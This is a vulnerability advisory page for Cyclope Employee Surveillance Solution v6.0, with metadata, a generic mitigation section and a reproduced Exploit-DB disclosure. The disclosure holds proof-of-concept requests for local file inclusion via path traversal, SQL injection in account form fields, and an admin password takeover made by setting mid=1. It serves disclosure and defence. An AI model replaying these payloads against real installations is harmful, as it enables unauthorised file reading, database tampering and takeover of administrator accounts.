Cyclope Employee Surveillance Solution v6.0

vendor:

Cyclope Employee Surveillance Solution

by:

loneferret

8,8

CVSS

HIGH

Local File Include, SQL Injection, Change Admin account's password

22, 89, 264

CWE

Product Name: Cyclope Employee Surveillance Solution

Affected Version From: 6.1.0

Affected Version To: 6.2.0

Patch Exists: YES

Related CWE: N/A

CPE: a:cyclope-series:cyclope_employee_surveillance_solution:6.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

Cyclope Employee Surveillance Solution v6.0

Cyclope Employee Surveillance Solution v6.0 is vulnerable to Local File Include, SQL Injection and Change Admin account's password. Local File Include vulnerability can be exploited by sending a crafted HTTP request containing a maliciously crafted URL to the vulnerable server. SQL Injection vulnerability can be exploited by sending a crafted HTTP request containing maliciously crafted data to the vulnerable server. Change Admin account's password vulnerability can be exploited by sending a crafted HTTP request containing maliciously crafted data to the vulnerable server.

Mitigation:

The user should ensure that all input is validated and filtered before being used in the application. The user should also ensure that the application is running with the least privileges necessary. The user should also ensure that the application is running with the latest security patches and updates.

Source

Exploit-DB raw data:

# Author: loneferret of Offensive Security
# Product: Cyclope Employee Surveillance Solution v6.0
# Version: 6.1.0 & 6.2.0
# Vendor Site: http://www.cyclope-series.com/
# Software Download: http://www.cyclope-series.com/download/index.html

# Software description:
# The employee monitoring software developed by Cyclope-Series is specially designed to inform
# and equip management with statistics relating to the productivity of staff within their organization.

# Vulnerability PoC 1:
# Local File Include
#
# Requirements: Employee access
# PoC:
# http://172.16.194.134:7879/help.php?pag=../../../../../../boot.ini%00

# Vulnerability PoC 2:
# SQL Injection
# Requirements: Employee access
#
# http://172.16.194.134:7879/index.php?pag=myaccount
# -Fields affected in form:
# -First Name
# -Last Name
# -Password / Re-Type Password
# -Email
# -mid
# Poc:
# mid=15&act=member-account&pag=myaccount&first_name=john&last_name=Doe&password=123456&password2=123456&email='
# mid=15'&act=member-account&pag=myaccount&first_name=john&last_name=Doe&password=123456&password2=123456&email=
# and so on...

# Vulnerability PoC 3:
# Change Admin account's password.
# Requirements: Employee access
# http://172.16.194.134:7879/index.php?pag=myaccount
#
# Using a tool such as Tamper Data or Live HTTP Headers, change the value
# of 'mid' to 1
# PoC:
# Post Data: mid=1&act=member-account&pag=myaccount&first_name=john&last_name=Doe&password=123456&password2=123456&email=